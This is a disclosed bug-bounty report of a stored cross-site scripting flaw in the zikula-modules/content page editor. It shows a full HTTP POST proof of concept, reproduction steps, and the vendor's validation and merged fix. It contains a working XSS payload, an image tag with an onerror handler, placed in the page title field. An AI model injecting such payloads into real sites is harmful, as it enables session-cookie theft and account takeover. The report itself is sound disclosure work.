Cross-site Scripting (XSS) - Stored in zikula-modules/content

Valid

Reported on

Sep 20th 2021


Description

Stored XSS in Content allows for the arbitrary execution of JavaScript

Proof of Concept

POST /content/admin/page/edit HTTP/2
Host: demo.ziku.la
Cookie: _zsid=3u8efffphk5430gdmlevluk6fa
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 402
Origin: https://demo.ziku.la
Referer: https://demo.ziku.la/content/admin/page/edit
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

zikulacontentmodule_page%5Btitle%5D=%3CiMg+SrC%3D%22x%22+oNeRRor%3D%22alert%281%29%3B%22%3E&zikulacontentmodule_page%5Bslug%5D=test&zikulacontentmodule_page%5Btranslationsde%5D%5Btitle%5D=&zikulacontentmodule_page%5Btranslationsde%5D%5Bslug%5D=&zikulacontentmodule_page%5Bparent%5D=1&zikulacontentmodule_page%5Bsubmit%5D=&zikulacontentmodule_page%5B_token%5D=znXSixqnw76kT6uFri03dX58ty_6Ch59FIECAO3MoRQ

Step to reproduce

Go to Content At Pages choose Add a new page At Create Page Input Title with payload : <iMg SrC="x" oNeRRor="alert(1);">

Video PoC : PoC

Impact

This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie.

We have contacted a member of the zikula-modules/content team and are waiting to hear back 2 months ago
We have contacted a member of the zikula-modules/content team and are waiting to hear back 2 months ago
lethanhphuc modified their report
2 months ago
Axel Guckelsberger validated this vulnerability 2 months ago
lethanhphuc has been awarded the disclosure bounty
The fix bounty is now up for grabs
Axel Guckelsberger confirmed that a fix has been merged on 14ee49 2 months ago
Axel Guckelsberger has been awarded the fix bounty